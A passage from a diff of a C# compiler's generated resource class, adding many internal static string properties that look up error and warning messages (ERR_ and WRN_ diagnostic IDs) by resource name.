GetResourceString("ERR_NameNotInContextPossibleMissingReference"); + + internal static string ERR_AmbigContext => GetResourceString("ERR_AmbigContext"); + + internal static string WRN_DuplicateUsing => GetResourceString("WRN_DuplicateUsing"); + + internal static string WRN_DuplicateUsing_Title => GetResourceString("WRN_DuplicateUsing_Title"); + + internal static string ERR_BadMemberFlag => GetResourceString("ERR_BadMemberFlag"); + + internal static string ERR_BadInitAccessor => GetResourceString("ERR_BadInitAccessor"); + + internal static string ERR_BadMemberProtection => GetResourceString("ERR_BadMemberProtection"); + + internal static string WRN_NewRequired => GetResourceString("WRN_NewRequired"); + + internal static string WRN_NewRequired_Title => GetResourceString("WRN_NewRequired_Title"); + + internal static string WRN_NewRequired_Description => GetResourceString("WRN_NewRequired_Description"); + + internal static string WRN_NewNotRequired => GetResourceString("WRN_NewNotRequired"); + + internal static string WRN_NewNotRequired_Title => GetResourceString("WRN_NewNotRequired_Title"); + + internal static string ERR_CircConstValue => GetResourceString("ERR_CircConstValue"); + + internal static string ERR_MemberAlreadyExists => GetResourceString("ERR_MemberAlreadyExists"); + + internal static string ERR_StaticNotVirtual => GetResourceString("ERR_StaticNotVirtual"); + + internal static string ERR_OverrideNotNew => GetResourceString("ERR_OverrideNotNew"); + + internal static string WRN_NewOrOverrideExpected => GetResourceString("WRN_NewOrOverrideExpected"); + + internal static string WRN_NewOrOverrideExpected_Title => GetResourceString("WRN_NewOrOverrideExpected_Title"); + + internal static string ERR_OverrideNotExpected => GetResourceString("ERR_OverrideNotExpected"); + + internal static string ERR_NamespaceUnexpected => GetResourceString("ERR_NamespaceUnexpected"); + + internal static string ERR_NoSuchMember => GetResourceString("ERR_NoSuchMember"); + + internal static string ERR_BadSKknown => GetResourceString("ERR_BadSKknown"); + + internal static string ERR_BadSKunknown => GetResourceString("ERR_BadSKunknown"); + + internal static string ERR_ObjectRequired => GetResourceString("ERR_ObjectRequired"); + + internal static string ERR_AmbigCall => GetResourceString("ERR_AmbigCall"); + + internal static string ERR_BadAccess => GetResourceString("ERR_BadAccess"); + + internal static string ERR_MethDelegateMismatch => GetResourceString("ERR_MethDelegateMismatch"); + + internal static string ERR_RetObjectRequired => GetResourceString("ERR_RetObjectRequired"); + + internal static string ERR_RetNoObjectRequired => GetResourceString("ERR_RetNoObjectRequired"); + + internal static string ERR_LocalDuplicate => GetResourceString("ERR_LocalDuplicate"); + + internal static string ERR_AssgLvalueExpected => GetResourceString("ERR_AssgLvalueExpected"); + + internal static string ERR_StaticConstParam => GetResourceString("ERR_StaticConstParam"); + + internal static string ERR_NotConstantExpression => GetResourceString("ERR_NotConstantExpression"); + + internal static string ERR_NotNullConstRefField => GetResourceString("ERR_NotNullConstRefField"); + + internal static string ERR_LocalIllegallyOverrides => GetResourceString("ERR_LocalIllegallyOverrides"); + + internal static string ERR_BadUsingNamespace => GetResourceString("ERR_BadUsingNamespace"); + + internal static string ERR_BadUsingType => GetResourceString("ERR_BadUsingType"); + + internal static string ERR_NoAliasHere => GetResourceString("ERR_NoAliasHere"); + + internal static string ERR_NoBreakOrCont => GetResourceString("ERR_NoBreakOrCont"); + + internal static string ERR_DuplicateLabel => GetResourceString("ERR_DuplicateLabel"); + + internal static string ERR_NoConstructors => GetResourceString("ERR_NoConstructors"); + + internal static string ERR_NoNewAbstract => GetResourceString("ERR_NoNewAbstract"); + + internal static string ERR_ConstValueRequired => GetResourceString("ERR_ConstValueRequired"); + + internal static string ERR_CircularBase => GetResourceString("ERR_CircularBase"); + + internal static string ERR_BadDelegateConstructor => GetResourceString("ERR_BadDelegateConstructor"); + + internal static string ERR_MethodNameExpected => GetResourceString("ERR_MethodNameExpected"); + + internal static string ERR_ConstantExpected => GetResourceString("ERR_ConstantExpected"); + + internal static string ERR_V6SwitchGoverningTypeValueExpected => GetResourceString("ERR_V6SwitchGoverningTypeValueExpected"); + + internal static string ERR_IntegralTypeValueExpected => GetResourceString("ERR_IntegralTypeValueExpected"); + + internal static string ERR_DuplicateCaseLabel => GetResourceString("ERR_DuplicateCaseLabel"); + + internal static string ERR_InvalidGotoCase => GetResourceString("ERR_InvalidGotoCase"); + + internal static string ERR_PropertyLacksGet => GetResourceString("ERR_PropertyLacksGet"); + + internal static string ERR_BadExceptionType => GetResourceString("ERR_BadExceptionType"); + + internal static string ERR_BadEmptyThrow => GetResourceString("ERR_BadEmptyThrow"); + + internal static string ERR_BadFinallyLeave => GetResourceString("ERR_BadFinallyLeave"); + + internal static string ERR_LabelShadow => GetResourceString("ERR_LabelShadow"); + + internal static string ERR_LabelNotFound => GetResourceString("ERR_LabelNotFound"); + + internal static string ERR_UnreachableCatch => GetResourceString("ERR_UnreachableCatch"); + + internal static string WRN_FilterIsConstantTrue => GetResourceString("WRN_FilterIsConstantTrue"); + + internal static string WRN_FilterIsConstantTrue_Title => GetResourceString("WRN_FilterIsConstantTrue_Title"); + + internal static string ERR_ReturnExpected => GetResourceString("ERR_ReturnExpected"); + + internal static string WRN_UnreachableCode => GetResourceString("WRN_UnreachableCode"); + + internal static string WRN_UnreachableCode_Title => GetResourceString("WRN_UnreachableCode_Title"); + + internal static string ERR_SwitchFallThrough => GetResourceString("ERR_SwitchFallThrough"); + + internal static string WRN_UnreferencedLabel => GetResourceString("WRN_UnreferencedLabel"); + + internal static string WRN_UnreferencedLabel_Title => GetResourceString("WRN_UnreferencedLabel_Title"); + + internal static string ERR_UseDefViolation => GetResourceString("ERR_UseDefViolation"); + + internal static string WRN_UseDefViolation => GetResourceString("WRN_UseDefViolation"); + + internal static string WRN_UseDefViolation_Title => GetResourceString("WRN_UseDefViolation_Title"); + + internal static string WRN_UnreferencedVar => GetResourceString("WRN_UnreferencedVar"); + + internal static string WRN_UnreferencedVar_Title => GetResourceString("WRN_UnreferencedVar_Title"); + + internal static string WRN_UnreferencedField => GetResourceString("WRN_UnreferencedField"); + + internal static string WRN_UnreferencedField_Title => GetResourceString("WRN_UnreferencedField_Title"); + + internal static string ERR_UseDefViolationField => GetResourceString("ERR_UseDefViolationField"); + + internal static string WRN_UseDefViolationField => GetResourceString("WRN_UseDefViolationField"); + + internal static string WRN_UseDefViolationField_Title => GetResourceString("WRN_UseDefViolationField_Title"); + + internal static string ERR_UseDefViolationProperty => GetResourceString("ERR_UseDefViolationProperty"); + + internal static string WRN_UseDefViolationProperty => GetResourceString("WRN_UseDefViolationProperty"); + + internal static string WRN_UseDefViolationProperty_Title => GetResourceString("WRN_UseDefViolationProperty_Title"); + + internal static string ERR_UnassignedThisUnsupportedVersion => GetResourceString("ERR_UnassignedThisUnsupportedVersion"); + + internal static string WRN_UnassignedThisUnsupportedVersion => GetResourceString("WRN_UnassignedThisUnsupportedVersion"); + + internal static string WRN_UnassignedThisUnsupportedVersion_Title => GetResourceString("WRN_UnassignedThisUnsupportedVersion_Title"); + + internal static string ERR_AmbigQM => GetResourceString("ERR_AmbigQM"); + + internal static string ERR_InvalidQM => GetResourceString("ERR_InvalidQM"); + + internal static string ERR_NoBaseClass => GetResourceString("ERR_NoBaseClass"); + + internal static string ERR_BaseIllegal => GetResourceString("ERR_BaseIllegal"); + + internal static string ERR_ObjectProhibited => GetResourceString("ERR_ObjectProhibited"); + + internal static string ERR_ParamUnassigned => GetResourceString("ERR_ParamUnassigned"); + + internal static string WRN_ParamUnassigned => GetResourceString("WRN_ParamUnassigned"); + + internal static string WRN_ParamUnassigned_Title => GetResourceString("WRN_ParamUnassigned_Title"); + + internal static string ERR_InvalidArray => GetResourceString("ERR_InvalidArray"); + + internal static string ERR_ExternHasBody => GetResourceString("ERR_ExternHasBody"); + + internal static string ERR_ExternHasConstructorInitializer => GetResourceString("ERR_ExternHasConstructorInitializer"); + + internal static string ERR_AbstractAndExtern => GetResourceString("ERR_AbstractAndExtern"); + + internal static string ERR_BadAttributeParamType => GetResourceString("ERR_BadAttributeParamType"); + + internal static string ERR_BadAttributeArgument => GetResourceString("ERR_BadAttributeArgument"); + + internal static string ERR_BadAttributeParamDefaultArgument => GetResourceString("ERR_BadAttributeParamDefaultArgument"); + + internal static string WRN_IsAlwaysTrue => GetResourceString("WRN_IsAlwaysTrue"); + + internal static string WRN_IsAlwaysTrue_Title => GetResourceString("WRN_IsAlwaysTrue_Title"); + + internal static string WRN_IsAlwaysFalse => GetResourceString("WRN_IsAlwaysFalse"); + + internal static string WRN_IsAlwaysFalse_Title => GetResourceString("WRN_IsAlwaysFalse_Title"); + + internal static string ERR_LockNeedsReference => GetResourceString("ERR_LockNeedsReference"); + + internal static string ERR_NullNotValid => GetResourceString("ERR_NullNotValid"); + + internal static string ERR_DefaultLiteralNotValid => GetResourceString("ERR_DefaultLiteralNotValid"); + + internal static string ERR_UseDefViolationThisUnsupportedVersion => GetResourceString("ERR_UseDefViolationThisUnsupportedVersion"); + + internal static string WRN_UseDefViolationThisUnsupportedVersion => GetResourceString("WRN_UseDefViolationThisUnsupportedVersion"); + + internal static string WRN_UseDefViolationThisUnsupportedVersion_Title => GetResourceString("WRN_UseDefViolationThisUnsupportedVersion_Title"); + + internal static string ERR_ArgsInvalid => GetResourceString("ERR_ArgsInvalid"); + + internal static string ERR_PtrExpected => GetResourceString("ERR_PtrExpected"); + + internal static string ERR_PtrIndexSingle => GetResourceString("ERR_PtrIndexSingle"); + + internal static string WRN_ByRefNonAgileField => GetResourceString("WRN_ByRefNonAgileField"); + + internal static string WRN_ByRefNonAgileField_Title => GetResourceString("WRN_ByRefNonAgileField_Title"); + + internal static string ERR_AssgReadonlyStatic => GetResourceString("ERR_AssgReadonlyStatic"); + + internal static string ERR_RefReadonlyStatic => GetResourceString("ERR_RefReadonlyStatic"); + + internal static string ERR_AssgReadonlyProp => GetResourceString("ERR_AssgReadonlyProp"); + + internal static string ERR_IllegalStatement => GetResourceString("ERR_IllegalStatement"); + + internal static string ERR_BadGetEnumerator => GetResourceString("ERR_BadGetEnumerator"); + + internal static string ERR_BadGetAsyncEnumerator => GetResourceString("ERR_BadGetAsyncEnumerator"); + + internal static string ERR_TooManyLocals => GetResourceString("ERR_TooManyLocals"); + + internal static string ERR_AbstractBaseCall => GetResourceString("ERR_AbstractBaseCall"); + + internal static string ERR_RefProperty => GetResourceString("ERR_RefProperty"); + + internal static string ERR_ManagedAddr => GetResourceString("ERR_ManagedAddr"); + + internal static string WRN_ManagedAddr => GetResourceString("WRN_ManagedAddr"); + + internal static string WRN_ManagedAddr_Title => GetResourceString("WRN_ManagedAddr_Title"); + + internal static string ERR_BadFixedInitType => GetResourceString("ERR_BadFixedInitType"); + + internal static string ERR_FixedMustInit => GetResourceString("ERR_FixedMustInit"); + + internal static string ERR_InvalidAddrOp => GetResourceString("ERR_InvalidAddrOp"); + + internal static string ERR_FixedNeeded => GetResourceString("ERR_FixedNeeded"); + + internal static string ERR_FixedNotNeeded => GetResourceString("ERR_FixedNotNeeded"); + + internal static string ERR_ExprCannotBeFixed => GetResourceString("ERR_ExprCannotBeFixed"); + + internal static string ERR_UnsafeNeeded => GetResourceString("ERR_UnsafeNeeded"); + + internal static string ERR_OpTFRetType => GetResourceString("ERR_OpTFRetType"); + + internal static string ERR_OperatorNeedsMatch => GetResourceString("ERR_OperatorNeedsMatch"); + + internal static string ERR_BadBoolOp => GetResourceString("ERR_BadBoolOp"); + + internal static string ERR_MustHaveOpTF => GetResourceString("ERR_MustHaveOpTF"); + + internal static string WRN_UnreferencedVarAssg => GetResourceString("WRN_UnreferencedVarAssg"); + + internal static string WRN_UnreferencedVarAssg_Title => GetResourceString("WRN_UnreferencedVarAssg_Title"); + + internal static string ERR_CheckedOverflow => GetResourceString("ERR_CheckedOverflow"); + + internal static string ERR_ConstOutOfRangeChecked => GetResourceString("ERR_ConstOutOfRangeChecked"); + + internal static string ERR_BadVarargs => GetResourceString("ERR_BadVarargs"); + + internal static string ERR_ParamsMustBeArray => GetResourceString("ERR_ParamsMustBeArray"); + + internal static string ERR_IllegalArglist => GetResourceString("ERR_IllegalArglist"); + + internal static string ERR_IllegalUnsafe => GetResourceString("ERR_IllegalUnsafe"); + + internal static string ERR_AmbigMember => GetResourceString("ERR_AmbigMember"); + + internal static string ERR_BadForeachDecl => GetResourceString("ERR_BadForeachDecl"); + + internal static string ERR_ParamsLast => GetResourceString("ERR_ParamsLast"); + + internal static string ERR_SizeofUnsafe => GetResourceString("ERR_SizeofUnsafe"); + + internal static string ERR_DottedTypeNameNotFoundInNS => GetResourceString("ERR_DottedTypeNameNotFoundInNS"); + + internal static string ERR_FieldInitRefNonstatic => GetResourceString("ERR_FieldInitRefNonstatic"); + + internal static string ERR_SealedNonOverride => GetResourceString("ERR_SealedNonOverride"); + + internal static string ERR_CantOverrideSealed => GetResourceString("ERR_CantOverrideSealed"); + + internal static string ERR_VoidError => GetResourceString("ERR_VoidError"); + + internal static string ERR_ConditionalOnOverride => GetResourceString("ERR_ConditionalOnOverride"); + + internal static string ERR_ConditionalOnLocalFunction => GetResourceString("ERR_ConditionalOnLocalFunction"); + + internal static string ERR_PointerInAsOrIs => GetResourceString("ERR_PointerInAsOrIs"); + + internal static string ERR_CallingFinalizeDeprecated => GetResourceString("ERR_CallingFinalizeDeprecated"); + + internal static string ERR_SingleTypeNameNotFound => GetResourceString("ERR_SingleTypeNameNotFound"); + + internal static string ERR_NegativeStackAllocSize => GetResourceString("ERR_NegativeStackAllocSize"); + + internal static string ERR_NegativeArraySize => GetResourceString("ERR_NegativeArraySize"); + + internal static string ERR_OverrideFinalizeDeprecated => GetResourceString("ERR_OverrideFinalizeDeprecated"); + + internal static string ERR_CallingBaseFinalizeDeprecated => GetResourceString("ERR_CallingBaseFinalizeDeprecated"); + + internal static string WRN_NegativeArrayIndex => GetResourceString("WRN_NegativeArrayIndex"); + + internal static string WRN_NegativeArrayIndex_Title => GetResourceString("WRN_NegativeArrayIndex_Title"); + + internal static string WRN_BadRefCompareLeft => GetResourceString("WRN_BadRefCompareLeft"); + + internal static string WRN_BadRefCompareLeft_Title => GetResourceString("WRN_BadRefCompareLeft_Title"); + + internal static string WRN_BadRefCompareRight => GetResourceString("WRN_BadRefCompareRight"); + + internal static string WRN_BadRefCompareRight_Title => GetResourceString("WRN_BadRefCompareRight_Title"); + + internal static string ERR_BadCastInFixed => GetResourceString("ERR_BadCastInFixed"); + + internal static string ERR_StackallocInCatchFinally => GetResourceString("ERR_StackallocInCatchFinally"); + + internal static string ERR_VarargsLast => GetResourceString("ERR_VarargsLast"); + + internal static string ERR_MissingPartial => GetResourceString("ERR_MissingPartial"); + + internal static string ERR_PartialTypeKindConflict => GetResourceString("ERR_PartialTypeKindConflict"); + + internal static string ERR_PartialModifierConflict => GetResourceString("ERR_PartialModifierConflict"); + + internal static string ERR_PartialMultipleBases => GetResourceString("ERR_PartialMultipleBases"); + + internal static string ERR_PartialWrongTypeParams => GetResourceString("ERR_PartialWrongTypeParams"); + + internal static string ERR_PartialWrongConstraints => GetResourceString("ERR_PartialWrongConstraints"); + + internal static string ERR_NoImplicitConvCast => GetResourceString("ERR_NoImplicitConvCast"); + + internal static string ERR_PartialMisplaced => GetResourceString("ERR_PartialMisplaced"); + + internal static string ERR_ImportedCircularBase => GetResourceString("ERR_ImportedCircularBase"); + + internal static string ERR_UseDefViolationOut => GetResourceString("ERR_UseDefViolationOut"); + + internal static string WRN_UseDefViolationOut => GetResourceString("WRN_UseDefViolationOut"); + + internal static string WRN_UseDefViolationOut_Title => GetResourceString("WRN_UseDefViolationOut_Title"); + + internal static string ERR_ArraySizeInDeclaration => GetResourceString("ERR_ArraySizeInDeclaration"); + + internal static string ERR_InaccessibleGetter => GetResourceString("ERR_InaccessibleGetter"); + + internal static string ERR_InaccessibleSetter => GetResourceString("ERR_InaccessibleSetter"); + + internal static string ERR_InvalidPropertyAccessMod => GetResourceString("ERR_InvalidPropertyAccessMod"); + + internal static string ERR_DuplicatePropertyAccessMods => GetResourceString("ERR_DuplicatePropertyAccessMods"); + + internal static string ERR_AccessModMissingAccessor => GetResourceString("ERR_AccessModMissingAccessor"); + + internal static string ERR_UnimplementedInterfaceAccessor => GetResourceString("ERR_UnimplementedInterfaceAccessor"); + + internal static string WRN_PatternIsAmbiguous => GetResourceString("WRN_PatternIsAmbiguous"); + + internal static string WRN_PatternIsAmbiguous_Title => GetResourceString("WRN_PatternIsAmbiguous_Title"); + + internal static string WRN_PatternNotPublicOrNotInstance => GetResourceString("WRN_PatternNotPublicOrNotInstance"); + + internal static string WRN_PatternNotPublicOrNotInstance_Title => GetResourceString("WRN_PatternNotPublicOrNotInstance_Title"); + + internal static string WRN_PatternBadSignature => GetResourceString("WRN_PatternBadSignature"); + + internal static string WRN_PatternBadSignature_Title => GetResourceString("WRN_PatternBadSignature_Title"); + + internal static string ERR_FriendRefNotEqualToThis => GetResourceString("ERR_FriendRefNotEqualToThis"); + + internal static string ERR_FriendRefSigningMismatch => GetResourceString("ERR_FriendRefSigningMismatch"); + + internal static string WRN_SequentialOnPartialClass => GetResourceString("WRN_SequentialOnPartialClass"); + + internal static string WRN_SequentialOnPartialClass_Title => GetResourceString("WRN_SequentialOnPartialClass_Title"); + + internal static string ERR_BadConstType => GetResourceString("ERR_BadConstType"); + + internal static string ERR_NoNewTyvar => GetResourceString("ERR_NoNewTyvar"); + + internal static string ERR_BadArity => GetResourceString("ERR_BadArity"); + + internal static string ERR_BadTypeArgument => GetResourceString("ERR_BadTypeArgument"); + + internal static string ERR_TypeArgsNotAllowed => GetResourceString("ERR_TypeArgsNotAllowed"); + + internal static string ERR_HasNoTypeVars => GetResourceString("ERR_HasNoTypeVars"); + + internal static string ERR_NewConstraintNotSatisfied => GetResourceString("ERR_NewConstraintNotSatisfied"); + + internal static string ERR_GenericConstraintNotSatisfiedRefType => GetResourceString("ERR_GenericConstraintNotSatisfiedRefType"); + + internal static string ERR_GenericConstraintNotSatisfiedNullableEnum => GetResourceString("ERR_GenericConstraintNotSatisfiedNullableEnum"); + + internal static string ERR_GenericConstraintNotSatisfiedNullableInterface => GetResourceString("ERR_GenericConstraintNotSatisfiedNullableInterface"); + + internal static string ERR_GenericConstraintNotSatisfiedTyVar => GetResourceString("ERR_GenericConstraintNotSatisfiedTyVar"); + + internal static string ERR_GenericConstraintNotSatisfiedValType => GetResourceString("ERR_GenericConstraintNotSatisfiedValType"); + + internal static string ERR_DuplicateGeneratedName => GetResourceString("ERR_DuplicateGeneratedName"); + + internal static string ERR_GlobalSingleTypeNameNotFound => GetResourceString("ERR_GlobalSingleTypeNameNotFound"); + + internal static string ERR_NewBoundMustBeLast => GetResourceString("ERR_NewBoundMustBeLast"); + + internal static string WRN_MainCantBeGeneric => GetResourceString("WRN_MainCantBeGeneric"); + + internal static string WRN_MainCantBeGeneric_Title => GetResourceString("WRN_MainCantBeGeneric_Title"); + + internal static string ERR_TypeVarCantBeNull => GetResourceString("ERR_TypeVarCantBeNull"); + + internal static string ERR_DuplicateBound => GetResourceString("ERR_DuplicateBound"); + + internal static string ERR_ClassBoundNotFirst => GetResourceString("ERR_ClassBoundNotFirst"); + + internal static string ERR_BadRetType => GetResourceString("ERR_BadRetType"); + + internal static string ERR_DelegateRefMismatch => GetResourceString("ERR_DelegateRefMismatch"); + + internal static string ERR_DuplicateConstraintClause => GetResourceString("ERR_DuplicateConstraintClause"); + + internal static string ERR_CantInferMethTypeArgs => GetResourceString("ERR_CantInferMethTypeArgs"); + + internal static string ERR_LocalSameNameAsTypeParam => GetResourceString("ERR_LocalSameNameAsTypeParam"); + + internal static string ERR_AsWithTypeVar => GetResourceString("ERR_AsWithTypeVar"); + + internal static string WRN_UnreferencedFieldAssg => GetResourceString("WRN_UnreferencedFieldAssg"); + + internal static string WRN_UnreferencedFieldAssg_Title => GetResourceString("WRN_UnreferencedFieldAssg_Title"); + + internal static string ERR_BadIndexerNameAttr => GetResourceString("ERR_BadIndexerNameAttr"); + + internal static string ERR_AttrArgWithTypeVars => GetResourceString("ERR_AttrArgWithTypeVars"); + + internal static string ERR_AttrTypeArgCannotBeTypeVar => GetResourceString("ERR_AttrTypeArgCannotBeTypeVar"); + + internal static string WRN_AttrDependentTypeNotAllowed => GetResourceString("WRN_AttrDependentTypeNotAllowed"); + + internal static string WRN_AttrDependentTypeNotAllowed_Title => GetResourceString("WRN_AttrDependentTypeNotAllowed_Title"); + + internal static string ERR_AttrDependentTypeNotAllowed => GetResourceString("ERR_AttrDependentTypeNotAllowed"); + + internal static string ERR_NewTyvarWithArgs => GetResourceString("ERR_NewTyvarWithArgs"); + + internal static string ERR_AbstractSealedStatic => GetResourceString("ERR_AbstractSealedStatic"); + + internal static string WRN_AmbiguousXMLReference => GetResourceString("WRN_AmbiguousXMLReference"); + + internal static string WRN_AmbiguousXMLReference_Title => GetResourceString("WRN_AmbiguousXMLReference_Title"); + + internal static string WRN_VolatileByRef => GetResourceString("WRN_VolatileByRef"); + + internal static string WRN_VolatileByRef_Title => GetResourceString("WRN_VolatileByRef_Title"); + + internal static string WRN_VolatileByRef_Description => GetResourceString("WRN_VolatileByRef_Description"); + + internal static string ERR_ComImportWithImpl => GetResourceString("ERR_ComImportWithImpl"); + + internal static string ERR_ComImportWithBase => GetResourceString("ERR_ComImportWithBase"); + + internal static string ERR_ImplBadConstraints => GetResourceString("ERR_ImplBadConstraints"); + + internal static string ERR_ImplBadTupleNames => GetResourceString("ERR_ImplBadTupleNames"); + + internal static string ERR_DottedTypeNameNotFoundInAgg => GetResourceString("ERR_DottedTypeNameNotFoundInAgg"); + + internal static string ERR_MethGrpToNonDel => GetResourceString("ERR_MethGrpToNonDel"); + + internal static string WRN_MethGrpToNonDel => GetResourceString("WRN_MethGrpToNonDel"); + + internal static string WRN_MethGrpToNonDel_Title => GetResourceString("WRN_MethGrpToNonDel_Title"); + + internal static string ERR_BadExternAlias => GetResourceString("ERR_BadExternAlias"); + + internal static string ERR_ColColWithTypeAlias => GetResourceString("ERR_ColColWithTypeAlias"); + + internal static string ERR_AliasNotFound => GetResourceString("ERR_AliasNotFound"); + + internal static string ERR_SameFullNameAggAgg => GetResourceString("ERR_SameFullNameAggAgg"); + + internal static string ERR_SameFullNameNsAgg => GetResourceString("ERR_SameFullNameNsAgg"); + + internal static string WRN_SameFullNameThisNsAgg => GetResourceString("WRN_SameFullNameThisNsAgg"); + + internal static string WRN_SameFullNameThisNsAgg_Title => GetResourceString("WRN_SameFullNameThisNsAgg_Title"); + + internal static string WRN_SameFullNameThisAggAgg => GetResourceString("WRN_SameFullNameThisAggAgg"); + + internal static string WRN_SameFullNameThisAggAgg_Title => GetResourceString("WRN_SameFullNameThisAggAgg_Title"); + + internal static string WRN_SameFullNameThisAggNs => GetResourceString("WRN_SameFullNameThisAggNs"); + + internal static string WRN_SameFullNameThisAggNs_Title => GetResourceString("WRN_SameFullNameThisAggNs_Title"); + + internal static string ERR_SameFullNameThisAggThisNs => GetResourceString("ERR_SameFullNameThisAggThisNs"); + + internal static string ERR_ExternAfterElements => GetResourceString("ERR_ExternAfterElements"); + + internal static string WRN_GlobalAliasDefn => GetResourceString("WRN_GlobalAliasDefn"); + + internal static string WRN_GlobalAliasDefn_Title => GetResourceString("WRN_GlobalAliasDefn_Title"); + + internal static string ERR_SealedStaticClass => GetResourceString("ERR_SealedStaticClass"); + + internal static string ERR_PrivateAbstractAccessor => GetResourceString("ERR_PrivateAbstractAccessor"); + + internal static string ERR_ValueExpected => GetResourceString("ERR_ValueExpected"); + + internal static string ERR_UnboxNotLValue => GetResourceString("ERR_UnboxNotLValue"); + + internal static string ERR_AnonMethGrpInForEach => GetResourceString("ERR_AnonMethGrpInForEach"); + + internal static string ERR_BadIncDecRetType => GetResourceString("ERR_BadIncDecRetType"); + + internal static string ERR_TypeConstraintsMustBeUniqueAndFirst => GetResourceString("ERR_TypeConstraintsMustBeUniqueAndFirst"); + + internal static string ERR_RefValBoundWithClass => GetResourceString("ERR_RefValBoundWithClass"); + + internal static string ERR_UnmanagedBoundWithClass => GetResourceString("ERR_UnmanagedBoundWithClass"); + + internal static string ERR_NewBoundWithVal => GetResourceString("ERR_NewBoundWithVal"); + + internal static string ERR_RefConstraintNotSatisfied => GetResourceString("ERR_RefConstraintNotSatisfied"); + + internal static string ERR_ValConstraintNotSatisfied => GetResourceString("ERR_ValConstraintNotSatisfied"); + + internal static string ERR_CircularConstraint => GetResourceString("ERR_CircularConstraint"); + + internal static string ERR_BaseConstraintConflict => GetResourceString("ERR_BaseConstraintConflict"); + + internal static string ERR_ConWithValCon => GetResourceString("ERR_ConWithValCon"); + + internal static string ERR_AmbigUDConv => GetResourceString("ERR_AmbigUDConv"); + + internal static string WRN_AlwaysNull => GetResourceString("WRN_AlwaysNull"); + + internal static string WRN_AlwaysNull_Title => GetResourceString("WRN_AlwaysNull_Title"); + + internal static string ERR_RefReturnThis => GetResourceString("ERR_RefReturnThis"); + + internal static string ERR_AttributeCtorInParameter => GetResourceString("ERR_AttributeCtorInParameter"); + + internal static string ERR_OverrideWithConstraints => GetResourceString("ERR_OverrideWithConstraints"); + + internal static string ERR_AmbigOverride => GetResourceString("ERR_AmbigOverride"); + + internal static string ERR_DecConstError => GetResourceString("ERR_DecConstError"); + + internal static string WRN_CmpAlwaysFalse => GetResourceString("WRN_CmpAlwaysFalse"); + + internal static string WRN_CmpAlwaysFalse_Title => GetResourceString("WRN_CmpAlwaysFalse_Title"); + + internal static string WRN_FinalizeMethod => GetResourceString("WRN_FinalizeMethod"); + + internal static string WRN_FinalizeMethod_Title => GetResourceString("WRN_FinalizeMethod_Title"); + + internal static string WRN_FinalizeMethod_Description => GetResourceString("WRN_FinalizeMethod_Description"); + + internal static string ERR_ExplicitImplParams => GetResourceString("ERR_ExplicitImplParams"); + + internal static string WRN_GotoCaseShouldConvert => GetResourceString("WRN_GotoCaseShouldConvert"); + + internal static string WRN_GotoCaseShouldConvert_Title => GetResourceString("WRN_GotoCaseShouldConvert_Title"); + + internal static string ERR_MethodImplementingAccessor => GetResourceString("ERR_MethodImplementingAccessor"); + + internal static string WRN_NubExprIsConstBool => GetResourceString("WRN_NubExprIsConstBool"); + + internal static string WRN_NubExprIsConstBool_Title => GetResourceString("WRN_NubExprIsConstBool_Title"); + + internal static string WRN_NubExprIsConstBool2 => GetResourceString("WRN_NubExprIsConstBool2"); + + internal static string WRN_NubExprIsConstBool2_Title => GetResourceString("WRN_NubExprIsConstBool2_Title"); + + internal static string WRN_ExplicitImplCollision => GetResourceString("WRN_ExplicitImplCollision"); + + internal static string WRN_ExplicitImplCollision_Title => GetResourceString("WRN_ExplicitImplCollision_Title"); + + internal static string ERR_AbstractHasBody => GetResourceString("ERR_AbstractHasBody"); + + internal static string ERR_ConcreteMissingBody => GetResourceString("ERR_ConcreteMissingBody"); + + internal static string ERR_AbstractAndSealed => GetResourceString("ERR_AbstractAndSealed"); + + internal static string ERR_AbstractNotVirtual => GetResourceString("ERR_AbstractNotVirtual"); + + internal static string ERR_StaticConstant => GetResourceString("ERR_StaticConstant"); + + internal static string ERR_CantOverrideNonFunction => GetResourceString("ERR_CantOverrideNonFunction"); + + internal static string ERR_CantOverrideNonVirtual => GetResourceString("ERR_CantOverrideNonVirtual"); + + internal static string ERR_CantChangeAccessOnOverride => GetResourceString("ERR_CantChangeAccessOnOverride"); + + internal static string ERR_CantChangeTupleNamesOnOverride => GetResourceString("ERR_CantChangeTupleNamesOnOverride"); + + internal static string ERR_CantChangeReturnTypeOnOverride => GetResourceString("ERR_CantChangeReturnTypeOnOverride"); + + internal static string ERR_CantDeriveFromSealedType => GetResourceString("ERR_CantDeriveFromSealedType"); + + internal static string ERR_AbstractInConcreteClass => GetResourceString("ERR_AbstractInConcreteClass"); + + internal static string ERR_StaticConstructorWithExplicitConstructorCall => GetResourceString("ERR_StaticConstructorWithExplicitConstructorCall"); + + internal static string ERR_StaticConstructorWithAccessModifiers => GetResourceString("ERR_StaticConstructorWithAccessModifiers"); + + internal static string ERR_RecursiveConstructorCall => GetResourceString("ERR_RecursiveConstructorCall"); + + internal static string ERR_IndirectRecursiveConstructorCall => GetResourceString("ERR_IndirectRecursiveConstructorCall"); + + internal static string ERR_ObjectCallingBaseConstructor => GetResourceString("ERR_ObjectCallingBaseConstructor"); + + internal static string ERR_PredefinedTypeNotFound => GetResourceString("ERR_PredefinedTypeNotFound"); + + internal static string ERR_PredefinedValueTupleTypeNotFound => GetResourceString("ERR_PredefinedValueTupleTypeNotFound"); + + internal static string ERR_PredefinedValueTupleTypeAmbiguous3 => GetResourceString("ERR_PredefinedValueTupleTypeAmbiguous3"); + + internal static string ERR_StructWithBaseConstructorCall => GetResourceString("ERR_StructWithBaseConstructorCall"); + + internal static string ERR_StructLayoutCycle => GetResourceString("ERR_StructLayoutCycle"); + + internal static string ERR_InterfacesCantContainFields => GetResourceString("ERR_InterfacesCantContainFields"); + + internal static string ERR_InterfacesCantContainConstructors => GetResourceString("ERR_InterfacesCantContainConstructors"); + + internal static string ERR_NonInterfaceInInterfaceList => GetResourceString("ERR_NonInterfaceInInterfaceList"); + + internal static string ERR_DuplicateInterfaceInBaseList => GetResourceString("ERR_DuplicateInterfaceInBaseList"); + + internal static string ERR_DuplicateInterfaceWithTupleNamesInBaseList => GetResourceString("ERR_DuplicateInterfaceWithTupleNamesInBaseList"); + + internal static string ERR_DuplicateInterfaceWithDifferencesInBaseList => GetResourceString("ERR_DuplicateInterfaceWithDifferencesInBaseList"); + + internal static string ERR_CycleInInterfaceInheritance => GetResourceString("ERR_CycleInInterfaceInheritance"); + + internal static string ERR_HidingAbstractMethod => GetResourceString("ERR_HidingAbstractMethod"); + + internal static string ERR_UnimplementedAbstractMethod => GetResourceString("ERR_UnimplementedAbstractMethod"); + + internal static string ERR_UnimplementedInterfaceMember => GetResourceString("ERR_UnimplementedInterfaceMember"); + + internal static string 